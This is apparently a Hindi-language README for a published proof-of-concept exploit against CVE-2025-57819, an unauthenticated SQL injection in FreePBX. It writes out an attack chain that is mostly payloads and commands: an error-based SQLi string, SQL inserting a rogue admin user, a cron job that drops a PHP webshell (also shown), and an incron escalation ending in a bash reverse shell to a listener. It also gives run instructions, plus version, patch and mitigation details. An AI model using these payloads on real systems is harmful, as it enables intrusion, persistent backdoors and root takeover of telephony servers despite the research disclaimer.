
Python प्रूफ-ऑफ-कॉन्सेप्ट जो CVE-2025-57819 का शोषण करता है, जो FreePBX में एक अनधिप्रमाणित SQL इंजेक्शन है जो एडमिन निर्माण, cron webshell परिनियोजन, और root एस्केलेशन को श्रृंखलाबद्ध करता है।
केवल शैक्षिक एवं सुरक्षा अनुसंधान हेतु - नीचे कानूनी सूचना देखें
CVE-2025-57819 के लिए शोषण प्रमाण-अवधारणा (proof of concept), जो FreePBX में एक गंभीर अनधिकृत SQL इंजेक्शन भेद्यता है और जो रिमोट कोड निष्पादन की अनुमति देती है। यह PoC आधिकारिक पैच जारी होने के बाद केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण उद्देश्यों के लिए प्रकाशित किया गया है।
FreePBX संस्करण 15.x, 16.x, और 17.x (पैच किए गए संस्करणों से नीचे) endpoint मॉड्यूल के AJAX हैंडलर में अनधिकृत SQL इंजेक्शन के प्रति भेद्य हैं। यह भेद्यता श्रृंखला निम्नलिखित की अनुमति देती है:
| CVE ID | CVE-2025-57819 |
| प्रकार | अनधिकृत SQL इंजेक्शन (त्रुटि-आधारित) |
| CVSS | 9.8 / 10.0 (गंभीर) |
| प्रभावित | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| पैच किया गया | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | हां (29 अगस्त, 2025) |
GET /admin/ajax.php?brand=<PAYLOAD>
एंडपॉइंट मॉड्यूल के AJAX हैंडलर में brand पैरामीटर बिना किसी सत्यापन के उपयोगकर्ता इनपुट स्वीकार करता है, जिससे error-based SQL injection होता है।
डेटाबेस का नाम उजागर करने के लिए EXTRACTVALUE() error-based extraction का उपयोग करके SQLi सत्यापित करें:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
asterisk.ampusers में नया प्रशासनिक उपयोगकर्ता डालें:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
वैध एडमिन क्रेडेंशियल्स के साथ, एक्सप्लॉइट FreePBX में प्रमाणित होता है और एक प्रमाणित सत्र स्थापित करता है। सत्र कुकीज़ सहेजी जाती हैं और सभी बाद के प्रमाणित अनुरोधों के लिए उपयोग की जाती हैं।
asterisk.cron_jobs में webshell कमांड इंजेक्ट करें:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
FreePBX cron runner asterisk उपयोगकर्ता के रूप में कमांड निष्पादित करता है, जिससे PHP webshell ड्रॉप हो जाता है।
PHP webshell को /var/www/html/shell.php पर तैनात किया जाता है:
<?php system($_GET['cmd']); ?>
Exploit वेबशेल को सक्रिय होने तक पोल करता है, जिससे asterisk उपयोगकर्ता (uid=999) के रूप में RCE प्राप्त होता है।
यदि लक्ष्य पर incron कॉन्फ़िगर किया गया है:
/var/spool/asterisk/incron/ में ट्रिगर फ़ाइल बनाएँincrond (root के रूप में चल रहा) फ़ाइल निर्माण का पता लगाता है/usr/bin/sysadmin_manager को आमंत्रित करता हैsysadmin_manager GPG हस्ताक्षर को सत्यापित करता है और fwconsole-commands हुक को प्रेषित करता है/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1परिणाम: रिवर्स लिसनर पर रूट शेल (यदि incron उपलब्ध है)।
brand पैरामीटर पर कोई इनपुट सत्यापन नहींasterisk.cron_jobs तालिका asterisk के रूप में कमांड निष्पादित करती हैgit clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Setup Netcat Listener
nc -lvnp <Listener Port>
# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

| संस्करण | स्थिति |
|---|---|
| 15.0.0 - 15.0.65 | असुरक्षित |
| 15.0.66+ | पैच किया गया |
| 16.0.0 - 16.0.88 | असुरक्षित |
| 16.0.89+ | पैच किया गया |
| 17.0.0 - 17.0.2 | असुरक्षित |
| 17.0.3+ | पैच किया गया |
तत्काल:
/admin/ajax.php तक पहुँच प्रतिबंधित करेंsystemctl disable incrondस्थायी: पैच किए गए संस्करणों में अपग्रेड करें: 15.0.66+, 16.0.89+, या 17.0.3+
⚠️ अस्वीकरण
यह प्रूफ ऑफ कॉन्सेप्ट केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। लेखक इस टूल के दुरुपयोग या कारण हुई क्षति के लिए कोई दायित्व नहीं लेता है।
आपको निम्नलिखित का पालन करना होगा:
निषिद्ध उपयोग:
दायित्व छूट: लेखक निम्नलिखित के लिए उत्तरदायी नहीं है:
यह भेद्यता:
JazzTheRabbit
MIT लाइसेंस